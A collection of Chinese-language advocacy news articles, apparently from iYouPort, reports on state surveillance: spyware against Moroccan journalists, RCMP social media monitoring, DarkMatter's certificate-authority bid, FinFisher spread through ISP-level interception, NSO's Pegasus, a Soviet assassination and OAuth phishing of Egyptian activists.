自由职业者 Ali Lmrabet 经常从西班牙巴塞罗那前往他的摩洛哥家乡得土安。 Lmrabet 写下了很多关于摩洛哥事务的评论，包括 Rif 抗议活动。

“每次他们都会试图对我使用间谍软件，”他说，他指的是摩洛哥当局。

Lmrabet 因在2003年“侮辱国王”的罪名被判处三年徒刑；虽然他在2004年获得了赦免，但他在2005年又因撰写关于西撒哈拉地区的报道而被禁止从事新闻工作10年。

Lmrabet 描述了他以前的笔记本电脑即使在他不使用时也表现出奇怪的行为，比如忽然在屏幕上打开难以识别的文件，或者莫名其妙地激活网络摄像头。

他说，反病毒软件在该计算机上检测到至少三个恶意程序。他表示自己遵循“严格的安全协议”。

总部位于伦敦的 Al-Quds al-Arabi 报记者 Saida Elkamel 表示，她有时会注意到，在某些手机对话中会出现回声，比如与 Nasser Zefzafi 的父亲的对话，Nasser 是一名活动家，由于领导 Rif 抗议活动而被判监禁20年。

记者说，她的手机经常摸起来很烫，而且电力消耗特别快。

Errazzouki 曾在摩洛哥学习政府监视，他对监控技术有一些个人见解。

在2012年公民记者团队 Mamfakinch 工作时，她和她的同事收到了一封意外的电子邮件，附件是空白文件。

据国际隐私组织报道，该附件实际上包含了意大利公司 **Hacking Team** 开发的间谍软件。

延伸：关于 Hacking Team

- 《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》
- 《开源调查揭示肢解华盛顿邮报专栏作家的凶手》

- 《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept》
- 《想知道老大哥是如何侵犯你的吗？挖掘更深层的内幕 #OSINT》
- ……更多详见“Hacking Team”

Privacy International 将2015年2月的间谍软件部署称为“只有政府才能做到的针对一群公民记者进行的重大投资”。

众所周知的 Hacking Team 数据泄露显示出，两个摩洛哥情报机构 —— 国防部高级理事会和国土监督局 —— 已经购买了 **Hacking Team** 的远程控制系统，该系统允许所有者监控目标的所有活动，而且是实时的。

2018年底，公民实验室表示已经确定由以色列公司 NSO 集团开发的 Pegasus 间谍软件与“似乎专注于摩洛哥的运营商”进行了沟通。

- 《Report：以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—亚洲有香港》
- 《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》
- 《美国公关公司为以色列间谍软件巨头服务》
- 《一个新的战争时代：互联网雇佣军如何为威权政府而战》
- 《被残害的记者 Khashoggi 的沙特朋友起诉以色列监视技术公司》
- 《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》
- ……更多详见《以色列和NSO》

2015年，摩洛哥内政部对摩洛哥非政府组织协会（数字权利协会）提起诽谤诉讼，该组织在 Privacy International 关于该国政府监督的报告中被引用。

根据卡萨布兰卡调查记者 Omar Radi 的说法，在 Hacking Team 内幕被曝光后，更多人拒绝与记者交谈。

这不难理解。当人们知道一个群体（调查记者）会被重点监视时，没人会愿意再和这个群体通话，以此来避免自己进入被监视的范围。

“愿意说真话的人越来越少，”他说。 Radi 此前曾在摩洛哥报道过现已解散的独立新闻网站 Lakome，该网站在2013年遭到摩洛哥当局封

锁后被关闭。

Radi 目前为摩洛哥记者和活动家提供数字安全培训。

一些记者表示，他们很少使用 **WhatsApp**，他们担心通过互联网发送的任何信息都可能会被当局用来对付他们。

同时报道 Rif 抗议活动的 Radi 表示（ 援引囚犯家属和律师提供的信息），当局在审讯那些在抗议期间被监禁的人时就引用过私人 **WhatsApp** 信息，记者也包括在内。

关于这点的分析：

- 《来自 WhatsApp 的言论罪》
- 《肉眼看不见的入侵：政府间谍工具就隐藏在正版 WhatsApp 和 Skype 中》
- 《警惕 WhatsApp 的潜在弱点：智利警方是否可以解密来自 WhatsApp 的信息？》
- 《如果您必需使用 WhatsApp：这里是减少伤害的办法》
- 《是否需要备份以及该如何安全地备份 WhatsApp？》
- 《使用任何加密通信都需要注意的问题》
- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

当局使用 **Radi** 电话通话内容威胁他，他被迫停止了调查工作。该电话包括来自私人谈话的信息。

摩洛哥当局根据 2016 年推出的新法规推迟（准确说是拒绝了）向某些记者或新闻媒体机构发送新闻采访资质证。

Radi 在2013年申请被拒绝后放弃了获得记者证的努力。虽然他仍在为外国出版物撰稿。三年来他没有给当地媒体写过任何文章。

所有摩洛哥政府部门都没有回复评论请求。

“我认识的许多独立记者都已经转行或离开了这个国家。只有少数人仍抱着一线希望试图建立一个正常的新闻事业”，Errazzouki 说。○

Moroccan independent journalists describe climate of pervasive surveillance, harassment

原文

社交媒体情报在加拿大 - iYouPort

你的反乌托邦在线生活阴云密布公私监控伙伴关系政府的间谍行为

是谁在为加拿大警察提供监控社交媒体的技术？该公司为什么位于”美国的最高机密”区？

「图」

「图」

Tyee了解到，加拿大皇家骑警已经悄悄地对个人的 Facebook，Twitter，Instagram 和其他社交媒体活动进行了至少两年的监控。

Project Wide Awake 的存在从未被报道过。

Tyee 的调查显示，加拿大皇家骑警已经从传统的“反应性”方式中有所转变 — — 将特定社交媒体账户作为刑事调查的一部分 — — 转变成了所谓的“积极主动的方法”，加拿大皇家骑警称其旨在“帮助发现并预防犯罪发生。“

专家们表示， 这涉及对个人社交媒体使用的持续性大规模监控 ，并可能对加拿大人的隐私和宪法权利构成威胁。

在2018年2月， 皇家骑警开始使用由 " Carahsoft " 提供的软件，**Carahsoft** 为政府提供信息，包括情报机构和国防机构。请注意：该承包商位于华盛顿特区以西，位于华盛顿邮报所描述的 " “美国最高机密”区域 " 。

该软件的开发商 Salesforce 在其网站上展示了 Social Studio 监控应用程序的强大功能。

“曾经希望你自己能成为消费者家中墙上的苍蝇吗？这就是社交媒体监控的内容，“ 该公司声称 。

Tyee 在获得加拿大皇家骑警联邦警察局副局长 Gilles Michaud 于2017年6月发出的非公开信后，向联邦隐私专员了解了这一情况。

然后 Michaud 向委员保证 RCMP 监控不使用“大规模监控技术工具”或“基于广泛的互联网监控”，也不使用“基于情景的定位”。

该计划严格遵守“反应性”，而不是“积极主动的或预测性”，Michaud 在2017年写道，这表明社交媒体历史只是在回应特定调查时才被查询。

但根据最近加拿大皇家骑警对 Tyee 问题的书面回应显示，这已不再适用了。

皇家骑警发言人中士 Tania Vaughan 说，自2017年以来，该部队已扩大其计划，并“转向了积极主动的和迅速反应的方式”，以“更加充分利用开源社交媒体内容的价值”。

“警方正在了解社交媒体分析可以帮助主动识别正在进行的犯罪（例如暴徒的行动）或尚在计划中的犯罪。 Project Wide Awake 向加拿大皇家骑警展示了社交媒体分析在调查和预防犯罪方面的实用性。“

鉴于 The Tyee 举出的一个具体例子 — 作为示范 — RCMP 详细阐述了主动和被动方法之间的区别。

“反应性方法将分析社交媒体，以解决抗议活动中发生的犯罪，”它说。“一个积极的方法是通过分析社交媒体，看看是否有任何迹象表明可能会在抗议活动中发生犯罪，并采取措施防止其发生，例如增加警力。”

Vaughan 告诉 The Tyee， 该软件可以通过输入关键字识别和监控 **Facebook**，**Twitter**，**Instagram** 和其他社交平台上的活动 。

加拿大皇家骑警坚持认为，该工具不允许访问私人信息，也不是大规模监视工具。

但是，多伦多大学 Munk 学校公民实验室的研究员 Chris Parsons 表示，这项行动很可能涉及对公民及其公众在线评论和活动的大规模监视。

“加拿大皇家骑警表示，这不是一种大规模的监视工具，但它并不完全明显”，他说。

Tyee 要求 Vaughan 解释 RCMP 的监控如何“不应”被视为监控，因为它向隐私专员声称不是监控。

“监视意味着密切观察一个团体或个人，”Vaughan 说，“该工具分析了互联网内容的犯罪行为，特别是公共安全威胁。考虑一下开着警车穿越街区的警察巡逻队的类比。“

他明显是在撒谎。IYP 介绍过*社交媒体情报*的概念，在这里看到《社交媒体情报是什么？它正在如何威胁你？》社交媒体情报（SOCMINT）是指允许公司或政府监控社交媒体网站（SNS）的技巧和技术。目前正越来越多地被政府和非国家行为者使用。它甚至在很大程度上不是非法的，但是，它正在造成严重的危害。 执法机构或维稳部门试图秘密添加目标用户为经过验证的联系人，使用虚假档案，他们能获取比公开信息更多的信息，此举应被视为秘密监视，应该通过限制和保障措施加以解决，类似于在物理空间进行秘密监视活动的那种 。

加拿大皇家骑警拒绝公布其监测和使用信息的政策，或者说它在实施前进行的任何隐私评估 — 如果有的话（很可能并没有），加拿大公民自由协会隐私技术和监视项目主任 Brenda McPhail 警告说。

McPhail 补充说，任何有关项目范围的政策都应该是透明的，以确保权利得到尊重，并且没有人会因种族、族裔、宗教或政治活动（如受宪章保护的异议）而遭受攻击。

Parsons 同意了。

他说：“作为公民，我们有权知道国家在何时以及在何种条件下侵入我们的私人生活。” “未能表达这一点只会损害加拿大的公共安全，因为人们会对政府开展的各种活动产生不信任”。

MacPhail 说，皇家骑警的论点是，它只搜索和监控“公开发布的内容”，但并不能减少对隐私和个人权利的威胁。

因为在线发布数据的社交媒体平台涉及个人隐私。举例来说， 从移动电话发布的“推文”可以揭示用户的位置数据，并且其内容还可以揭示个人意见（包括政治观点）以及关于个人偏好、性偏好和健康状况等信息 。

相反，社交媒体上“公开可用”信息对隐私没有任何影响这类错误概念，导致了这种形式的监视大多不受监管或没有明确的规定来约束。

加拿大皇家骑警坚持认为监视类似 Twitter 或 Facebook 的帖子不需要搜查令。

但是公民实验室的 Parsons 说，法律并不是那么明确的。

他说：“认为这是公共信息并且不构成私人信息，这是对加拿大法律在我所关注的国家公共和私人评估方式的不准确评估。” 在美国，国家使用这类信息的障碍“非常低”。因此，政府对社交媒体的监控很常见。

但加拿大是不同的，仅仅因为信息公开并不意味着个人放弃任何隐私权，他说。

“我可以在 Twitter 上公开与你沟通。我们可以来回互动。尽管任何人都可以观察我们正在做的事，但出于政府的目的，我仍然对正在发生的事保留隐私权。“

他说，政府必须能够表现出对监测特定通信的特定兴趣。

“这并不意味着他们必须得到逮捕令”，Parsons 说。“但必须有一个主张，即 证明收集这些半公开信息是一种适当的活动。”

了解他们的监控方式非常重要。他补充说，基于主题标签、位置或关键词的搜索可以为个人提供大量的背景信息。〇

‘Project Wide Awake’: How the RCMP Watches You on Social Media. Exclusive: How police are using new software to expand surveillance of citizens’ activities.

原文

网络战雇佣兵团体不应该在您的浏览器或其他任何地方受信任 - iYouPort

其他政府的间谍行为

网络战雇佣兵团体居然想要占据最关键的门户，还有人记得 CNNIC 和 Teliasonera 的悲剧吗？

DarkMatter 是一家位于阿联酋的臭名昭著的网络战雇佣军公司，它正在寻求成为 Mozilla 根证书计划的顶级证书颁发机构。给这家公司这样一个值得信赖的职位将是可怕的主意。

DarkMatter 在破坏加密方面具有商业利益，并且能够潜在地解密他们拦截的任何 **HTTPS** 流量。HTTPS 有必要的原因是保护您的私人通信免受政府窥探的影响—当政府想要窥探时，他们会定期雇用 DarkMatter 来完成这一肮脏的工作。

根证书程序中的成员身份是 Mozilla 决定哪些证书颁发机构（CA）在 Firefox 中获得信任的方式。Mozilla 的受信任根证书列表也用于许多其他产品，包括 Linux 操作系统。

浏览器依赖于这些权限列表，这些权限可以使用 TLS 和 HTTPS 等技术来验证和颁发允许安全浏览的证书。证书颁发机构是 HTTPS 的基础，但它们也是最大的弱点。

您的浏览器信任的数十个证书颁发机构中的任何一个都可能秘密为任何网站（例如 google.com 或 eff.org）发放欺诈性证书。然后，证书颁发机构（或其他组织，例如政府间谍机构）可以使用欺诈性证书监视您与该站点的通信，即使它是使用 HTTPS 加密的也无法阻止这种监视。证书透明度可以通过要求公开所有已颁发的证书记录来缓解一些风险，但不是灵丹妙药。

浏览器的可信CA列表中的公司很少犯这样的欺诈行为，因为不发布恶意证书是证书颁发机构的首要责任。但它可以而且仍然会发生。在这种情况下，人们关注的是，DarkMatter 的业务涉及拦截互联网通信、黑入持不同政见者的 iPhone、以及其他网络雇佣兵工作。

DarkMatter 的业务目标直接取决于希望窥探的政府希望拦截哪些用户流量。给 DarkMatter 一个值得信赖的根证书就好像让众所周知的狐狸守护鸡窝一样。

目前，在浏览器中被接受为可信证书颁发机构的标准是一个技术和官僚机构。例如，组织的文档化实践是否满足最低要求？组织是否可以颁发符合标准的证书？ Dark Matter 最终可能符合这些标准。但是这些标准没有考虑到一个组织试图破解加密或其利益冲突的历史。

其他组织过去曾使用这一事实来伤害系统，并以蠕虫的方式进入我们的浏览器。 2009年，Mozilla 允许 CNNIC（中国国家认证机构）进入根证书计划，此前 CNNIC 向 Mozilla 和更大的社群保证，它不会滥用这种权力来创建假证书和破解加密。而2015年，当 CNNIC 授权的中间CA为多个谷歌所有的域名颁发非法证书时，CNNIC 陷入了丑闻。谷歌、Mozilla 和其他人在得知违反信任后迅速撤销了 CNNIC 在浏览器和操作系统方面的权力。

CNNIC 不是唯一的例子。 2013年，Mozilla 在指责 Teliasonera 帮助启用政府间谍活动后，考虑放弃这家瑞典公司。 Teliasonera 最终没有被淘汰，但它至今仍然存在安全问题。

DarkMatter 已获得另一家名为 QuoVadis 的公司的“中间”证书，该公司现在归 DigiCert 所有。这已经够糟糕了，但“中间证书”权力至少伴随着 DigiCert 的表面监督，否则情况会更糟。鉴于 DarkMatter 的已知做法已经颠覆了互联网安全，EFF鼓励 Mozilla 和其他人撤销其权力。

Mozilla 和其他根证书数据库维护者（Microsoft，Google 和 Apple）不应该将 Dark Matter 视为根证书颁发机构。否则会为其他网络雇佣兵团体打开大门，例如最臭名昭著的 NSO 集团或 Finfisher，也会闯入其中。

Cyber-Mercenary Groups Shouldn’t be Trusted in Your Browser or Anywhere Else. Mozilla and other root certificate database maintainers (Microsoft, Google, and Apple) should not trust Dark Matter as a root certificate authority.

原文

美国可能禁止无法被破解的端到端加密通信 - iYouPort

加密和反加密之战政府的间谍行为

老大一句顶一万句。如果美国下手，全球的加密就真的完了。

「图」

「图」

端到端加密消息传递是所谓的执法的一个主要障碍 —— 全球各国政府一直在破解加密的尝试中歪招迭出。

这堆政府面临的关键挑战是：这些服务是由技术公司提供的，而这些公司大多位于美国，这在很大程度上令这些应用无法被其他地方的立法者触及。

消息传递服务是“over-the-top”，这意味着内容或服务建构在网络基础服务之上，而不需要电信运营商额外的支持。

所有这些都意味着，像大多数互联网技术一样，这里的权力经纪人是美国政府。

这就是为什么 Politico 报道“特朗普政府高级官员会面讨论是否寻求立法禁止科技公司使用无法破解的加密形式”，这件事值得重点警惕。

“技术正在快速发展，隐私需要跟上这一变化”，超级安全消息平台 Wickr 的首席执行官 Joel Wallenstrom 说。

Politico 引用了一些未透露姓名的消息来源报道称：“加密挑战，政府称之为‘going dark’，是国安委会议的焦点，其中包括来自几个主要机构的副手官员。”

该讨论的重点是消息应用的“隐私和安全功能”，“使当局调查恐怖主义、贩毒和儿童色情内容受挫”。

包括美国在内的各国政府面临的挑战是，在正在进行的有关隐私、数据安全和信息完整性的辩论中，消息传递应用的隐私已经成为一个中心主题。

世界各地的人们正在从公共社交媒体发布转向了封闭的通信平台群组，而消息传递应用的竞相出现也是这方面的主要推动力。

甚至 Facebook 也将消息安全和隐私置于其新战略的中心。请注意，隐私不是目的地，只是一个开始，却已经被寡头公司利用为挡箭牌了，详细《以隐私为目的的斗争如何让你变成了监视的盟友》。

“我们希望有真正富有成效的对话和解决问题的方法，”Wallenstrom 告诉我，在NSC新闻爆发之前。

在他看来，需要避免政府方面的“划红线”和“顽固不化”，中国、朝鲜和伊朗“就技术而言，不是我们想要效仿的模版”。

微信在中国的例子特别明显，当局在相当公开的基础上监控信息流量，并随时可以对任何被认为不当的行为进行制裁。

天安门广场30周年的时候，据报道，微信用户发现“与该活动相关的关键词或图片几乎被即时删除，他们的照片和海报有时会立即被封锁。在那段时间里人们甚至无法更换头像。

最近在香港举行的公众抗议活动中也有许多类似的故事。

“我们希望这种[端到端加密]技术能够存在，”Wallenstrom 说，“它不可阻挡……这种技术的提供者希望解决这些问题并找到前进的明智之路，不要变成二元悖论，不能说我们不会与[政府]合作来完成这些辩论。”

Politico 报道，在这个问题上，美国政府内部没有一统一的观点，甚至是“行政部门内部也没有”。

“商务部和国务院不同意，指出强制加密’后门’的经济、安全和外交后果。”

国土安全部内部甚至存在完全矛盾的利益冲突。“网络安全和基础设施部门知道加密敏感数据的重要性，特别是在关键基础设施运营中；

但 ICE 和特勤局认为加密是障碍。”

Wallenstrom 引用了2015年的圣贝纳迪诺恐怖袭击事件，该事件是司法部对抗苹果公司以获取其中一名攻击者的 iPhone。

Politico 做了同样的事。

对于政府而言，恐怖主义、贩卖儿童和严重有组织犯罪的因素在处理公众辩论隐私方面成为一个王牌，最终总是：“yes, but”句式。

早些时候，一个由技术公司，隐私专家和人权组织组成的联盟发布了对英国间谍机构 GCHQ 的讨论文件的公开回应，该文件暗示了一个以 ghost 协议终结加密的想法，允许政府随时监听。

来自苹果，微软，谷歌和 WhatsApp 等公司的回应是直言不讳的：“这会破坏认证过程……引入潜在的无意识漏洞，增加通信系统可能被滥用或误用的风险……对话是否受到加密保护已经无关紧要。通讯本身不再安全。”

“幽灵协议的想法已经被证明是不可持续的，”Wallenstrom 说。

“决定谁可以使用这种[拦截]技术，这意味着我们的目标仅仅是确定谁是好人，谁是坏人”。

他还指出，删除隐私保护会暴露内容，因此平台本身可以“窥探用户数据”。

如果美国确实开始对禁止加密的立法进行正式辩论，那么反弹会很快升级。

“管理”社交媒体上共享的内容是一回事，终结用户隐私就是另一回事了。

但当权者执迷于执法和所谓的国家安全。从四骑士到六骑士，这些陈词滥调从未被过时。

真的没有简单的答案。

马克扎克伯格在3月写道，“我相信沟通的未来将转向私人加密服务，人们可以放心，他们对彼此的言论保持安全，信息和内容不会永远存在……”

“没错，但是……”。

- ○ 警告：当权者提出的任何看起来所谓折中的方案都不能答应。这道防线一旦一处破漏，就会迅速全面倒塌。

永远记着权势是需要被防备的东西，不论他们看起来有多善意。

IYP 的立场在“为自由而战”系列中有详细讲述。例如《卧室里的坦克 —— 被军事化的互联网人，以及可以怎么办》；《创建属于我们自己的国土；推荐非暴力直接行动的终极形式》；《结束毫无意义的口水和拉锯战，这里是你应该知道的事》○

U.S. May Outlaw Messaging Encryption Used By WhatsApp, iMessage And Others, Report

原文

肉眼看不见的入侵：政府间谍工具就隐藏在正版 WhatsApp 和 Skype 中 - iYouPort

政府的间谍行为

已被发现的植入了监控的软件包括 WhatsApp，Skype，Avast，VLC Player 和 WinRAR，但实际上任何应用都可能以这种方式被滥用……如果没有 Wikileaks 我们恐怕永远都不会知道这些真相

「图」

「图」

网络安全研究人员警告，包括 WhatsApp、Skype 和 VLC Player 在内的流行软件的合法下载，据称在互联网服务提供商（**ISP**）层面就被骇客攻击，以传播称为**“FinFisher”**的高级监控软件。

FinFisher 已经出售给全球政府和情报机构，可用于窥探网络摄像头、按键、麦克风和网页浏览。以前由 Wikileaks 公布的文件表明，一个名为“FinFly ISP”的工具可能与此案有关。

数字监控工具由一家名为 Gamma Group 的国际公司兜售，过去曾出售给包括巴林、埃及和阿联酋在内的专制政权（有没有中国不知道）。去年3月，该公司参加了由英国内政部赞助的安全会议。

来自网络安全公司 Eset 的专家称，已经在七个国家发现了新的 FinFisher 变种，其中两个被 ISP 中的“中间人”攻击（MitM）作为目标—— 间谍软件打包在真正软件的下载中。

该公司称已被发现的软件包括 WhatsApp，Skype，Avast，VLC Player 和 WinRAR，并补充说“实际上任何应用都可能以这种方式被滥用。”

研究发现，当被监视目标正在下载软件时，他们将在不知不觉中被重定向到感染了 FinFisher 的版本。

下载后，该软件将正常安装—但 Eset 发现，它也将隐蔽地与监控工具捆绑在一起。

隐形感染过程被描述为“肉眼看不见的入侵”。

Avast 的发言人说：“攻击者将始终关注最突出的目标。使用恶意软件包装在合法应用程序的官方安装程序中并不是一个新概念，我们对本报告中提到的 PC 应用程序并不感到惊讶。然而最新消息显示，这似乎发生在更高层次上，我们不知道 **ISP** 是否与恶意软件分销商合作了，或 **ISP** 的基础设施是否已被劫持……

最新版本的 FinFisher 被发现了新的定制代码，使其无法被杀毒软件发现，Eset 称之为“战术改进”。它补充说，一些技巧旨在破坏端到端（**E2E**）加密软件和已知的隐私工具。

“看起来他们决定使用最有效的感染方法，从技术角度来看实际上并不难实现，”Eset 的恶意软件研究员 Filip Kafka 告诉 IBTimes UK 说，“由于我们看到的感染比过去监测到的程度更高了，这证明如今 **FinFisher** 正在被更广泛地用于监视受影响国家的公民。”

打破加密已成为世界各国政府的主要兴趣，其中许多政府一直在致力于进行大量通信收集。政治家们经常在没有证据的情况下争辩说，加密通讯“妨碍反恐”。

「图」

「图」

Wikileaks 的一篇关于 FinFly ISP 的文件显示了其在 ISP 级别进行监控的能力。该软件的宣传册上写着：“FinFly ISP 能够修补目标即时下载的文件或为流行软件发送虚假的软件更新。”

它还补充说，它“可以安装在互联网服务提供商的网络上”，并列出了一个用例，显示该软件之前曾由一个未命名的情报机构部署。

Eset 发现，其中一个国家内的所有受影响目标都使用相同的 **ISP**。

“史无前例的“

“在泄露的文件中提到的 ISP 级 MitM 攻击技术的部署此前从未被揭示过，”研究人员在他们的分析中说。“这些 FinFisher 的活动代表了一个复杂而隐蔽已久的监控项目，其方法和覆盖范围的组合是史无前

例的。不知道它已经被隐藏了多久”。

目前尚不清楚谁是这一骇客攻击活动背后的主使者，但 **FinFisher** 这种间谍软件几乎完全适合政府、警察或情报机构的使用。

这不是第一次在欧洲设有办事处的公司与可疑的商业行为挂钩。2013 年，科技公司 Mozilla 在其软件被冒充成 Firefox 浏览器版本后，发送了一封终止声明。它在一篇博客文章中抱怨说：“我们绝不能使用我们的名字来伪装一家软件公司以隐藏其在线监控工具，这些工具可能 、并且在某些情况下实际上已经被 Gamma 集团用来侵犯用户的人权和在线隐私”。

同年，无国界记者组织在一份年度报告中称 Gamma 集团为“互联网的企业敌人”之一。令人毛骨悚然的侵入性间谍软件也可以通过更传统的方式传播—— 例如恶意电子邮件附件。

早在 2011 年，英国子公司 Gamma International 就出售了一种伪装成苹果 iTunes 媒体播放器更新的恶意软件木马。

在被修补之前，这个漏洞已经被利用了大约三年！这是安全记者 Brian Krebs 发现的。〇

原文

被残害的记者 Khashoggi 的沙特朋友起诉以色列监视技术公司 - iYouPort

以色列和NSO-间谍产业的领主政府的间谍行为

「图」

「图」

利雅得皇室成员的尖锐批评者 Omar Abdulaziz 在点击了由 NSO 集团发送给他的钓鱼链接后，他与被谋杀记者的私密谈话暴露给了沙特当局，他现在要求该公司赔偿 160,000 美元。

该诉讼于周日在特拉维夫法院提起，由于与国际上对杀害 Khashoggi 的愤怒有关，因此可能会引发对该公司和以色列政府的更大关注，以色列政府授权监管技术的出口。以色列试图反驳，称“没有证据现实该技术已被使用”。

以色列国防部拒绝对其出口政策发表评论。

Abdulaziz 在2018年6月收到并点击了发送到他手机的链接，因此遭受了恶意软件攻击，设备完全被接管。该诉讼称，Abdulaziz 在点击链接后就面临了沙特当局越来越多的骚扰，包括拘留了他在沙特阿拉伯的家人。他和被残害的记者 Khashoggi 之间的通信也因此被沙特当局截获。

两个月前，来自利雅得的一支由15名成员组成的团队在伊斯坦布尔的沙特领事馆扼杀并肢解了 Khashoggi。他的遗体直到现在还没有找到。

下面是 Khashoggi 和 Omar Abdulaziz 之间在 WhatsApp 的通信，在今年8月由于 Omar 感染了以色列最臭名昭著的间谍软件，私密通信被沙特截获。两个月后 Khashoggi 就死了。

通信中 Omar 还说：“我很高兴你在国外，你很安全”。

然而，事实证明，流亡并没有获得任何安全。

- 这种间谍软件—— 以色列 NSO 生产的 Pegasus—— ⚠ 已经感染了45个国家，被用来监视异议人士。❗亚洲有香港（之所以没有发现中国的感染者，是因为无法对中国做DNS缓存探测）在这里看到详细报告：《Report：以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—亚洲有香港》

Saudi friend of Khashoggi sues Israeli surveillance firm. Omar Abdulaziz, a sharp critic of the Riyadh royals, claims his phone conversations with the murdered journalist had been exposed to Saudi authorities after he clicked on a link allegedly sent to him by the NSO Group, and is now demanding $160,000 in damages from the company.

原文

解密文件展示了刺客的自白，为什么中国人应该警惕？ - iyouport

政府的间谍行为

【2019年1月15日存档】

一手拿着一袋杂货，Stefan Bandera 正在努力锁住他的慕尼黑公寓大楼的门。这些锁似乎出了什么问题，已经在数周内给人们带来了许多麻烦，但也只是有点费力，最终都还能用的。

就在他摆弄钥匙时，他注意到建筑物内的一个男人看起来有些熟悉。他以前在大楼附近见过此人，但此人不是这里的居民。

当 Bandera 从锁上取下钥匙时，那个男人走近了，并看似关切地说："这不行吗？"

Bandera 转身回答说："看起来还行"。就在这时，那个男人忽然做了一个快速而奇怪动作—— 抬起手把一张卷起来的报纸递到了 Bandera 的脸部。

忽然，一股气体喷薄而出，就在 Bandera 的脸上。他跌跌撞撞地走到一边 …… 当另一个人从门边走过时发现，Bandera 已经瘫倒在地。

这名男子 Bogdan Stashinskiy 走出大楼，朝着运河方向兜了一圈。在那里，他拿出他的武器，一把毒气枪，把它扔进了水里。几小时后，他乘坐的火车一路往东，最终抵达东柏林，克格勃的训练场。

尸检结果后来显示出痕量的潜在毒药，但长期以来，当地警方一直在认为 Stefan Bandera 死于"自然原因"。

这是 Stashinkiy 在苏联情报部门的要求下实施的第二次暗杀—— 至少根据 Stashinkiy 本人的说法是"第二次"。这场暗杀发生在 1959 年，两年后 Stashinkiy 叛逃到了西方。根据解密的 CIA 文件，上面的故事就是他在长期汇报期间告诉中央情报局的那个故事。

Stashinkiy 的第一次杀戮据说是发生在 1957 年—— 另一名乌克兰人也是死于当局认为的“心脏病发作”，事情也发生在慕尼黑。

两名死者都是受欢迎的苏联移民人士，政治异议，对苏联体制构成潜在威胁。

“这种[暗杀行动]有时旨在证明苏维埃政权能够在世界上任何地方击败敌人，”1975 年中央情报局的另一份报告称。“苏联人希望这样可以在移民人士群体中制造恐惧，动乱，混乱和分歧，同时阻止其他移民加入他们的行列。”—— 请对比中国，移民潮和当局的全球追踪监视。

美国中央情报局没有接受 Stashinkiy 自己的说法，并对他的暗杀指控进行了详细分析—— 最终被确定证据更多地支持了他的说法。

其中一个职业杀手可能不会被警惕：他第一次尝试杀死 Bandera 时是多么的笨拙。

Stashinkiy 仍然认为他可以在这次尝试中杀死 Bandera，直到他看到 Bandera 接近。猜测 Bandera 可能逃走的方式，Stashinkiy 终于完成了任务。

“根据莫斯科的指示，Stashinkiy 随后前往慕尼黑宫廷花园附近的运河，清空枪筒，然后将武器扔进运河“，报告说。

Stashinskiy 从那里回到柏林，从克格勃那里取回了另一套钥匙和锁装置，相信自己可以再来一次，他只是等待莫斯科配发另一支毒气枪。

“到1959年10月14日，武器已经抵达，Bandera 已经在意大利度过了一个长假，所以Stashinkiy 带上了武器，纱布敷布和黄色药片飞往慕尼黑，这是为了保护他自己免受毒气的危害，以及 Hans Joachim Budeit 名下的文件（他的伪装身份），“中央情报局的报告说。

第二天，Stashinskiy 监视了乌克兰移民办公室，找到了 Bandera 并跟随他回家。

“Stashinskiy 看到 Bandera 开车进入通往车库的车道后，Stashinskiy 用他准备好的钥匙进入了公寓楼，走上了一层和二层之间的楼梯，等待 Bandera。”

“Bandera 已经发现了 Stashinskiy，所以 Stashinskiy 明白他不能再等了，朝前门方向移动。他拿着谋杀武器，隐藏在报纸上，右手拿着安

全装置。当他走过 Bandera 时，他仍然在试图从锁上取下钥匙，Stashinskiy 用左手抓住门把手，仿佛在帮助 Bandera。“

就在上面那段简短的似乎是寒暄的对话之后，Stashinskiy “在近距离状态下同时将两桶毒气射向 Bandera 的脸部。”

中央情报局的另一份报告说，这种毒药旨在使向大脑供血的动脉麻痹。报告称，“大脑中没有血液导致大脑正常瘫痪或心脏病发作，最终导致受害者死亡”。“吸入这些有毒气体后，受害者在一分半钟内即可临床死亡。大约五分钟后，毒药的作用会完全消失，使动脉恢复正常状态，不会留下任何导致瘫痪或心脏病发作的杀伤剂痕迹。

因此，如果没有 Stashinskiy 的认罪，当地执法部门和中央情报局可能从来都不会知道两名乌克兰人不是心脏病发作的受害者，而是被一名克格勃训练的刺客暗杀了。

Confessions of a Soviet Assassin: “After about five minutes the effect of the poison wears off entirely, permitting the arteries to return to their normal condition, leaving no trace of the killing agent which precipitated the paralysis or the heart attack”

原文

警告 - 新型政府间谍活动：OAuth Phishing - iYouPort

政府的间谍行为

OAuth Phishing 是什么？它如何导致传统的安全培训中指导的识别方法在此失效？

国际特赦组织的最新调查发现，可能源于政府机构支持的数字攻击浪潮从2019年1月初开始，涉及多次针对几个著名的埃及人权维护者、媒体和民间社会组织工作人员的电子邮件帐户。

这些攻击似乎是更广泛战略的一部分，发生在埃及政府不断加剧的镇压之中。由于已经确定了目标的身份、这些攻击的时间、它们的明显协调、以及 Google 发送的国家支持的攻击的通知，得出的结论是，这些攻击最有可能是由埃及当局或代表埃及当局的组织实施的。

近年来，埃及当局一直在通过对非政府组织的持续刑事调查和压制性的法律来骚扰民间社会并破坏结社和言论自由。当局一直在调查数十名人权维护者和非政府组织工作人员，将“获得外国资金”作为定罪的理由。如果被定罪，他们中的许多人可能会面临被监禁。

调查法官还下令对至少31名非政府组织工作人员实施旅行禁令，并冻结10名个人和7个组织的资产。与此同时，当局还关闭了 El Nadeem 暴力受害者康复中心，并继续拘留人权维护者 Ezzat Ghoniem 和 Hisham Gaafar，他们分别是埃及权利和自由协调组织的媒体研究人员。

此次网络钓鱼攻击活动中针对的个人和组织名单与公民实验室和埃及个人权利倡议组织（EIPR）在2017年披露的名为 Nile Phish 的旧版网络钓鱼攻击浪潮中的目标明显重叠。

大赦国际深感关切的是，这些网络钓鱼攻击是当局扼杀埃及民间社会的又一次尝试，并呼吁埃及当局结束对人权维护者的这些攻击，停止打击民间社会，包括废除非政府组织法。

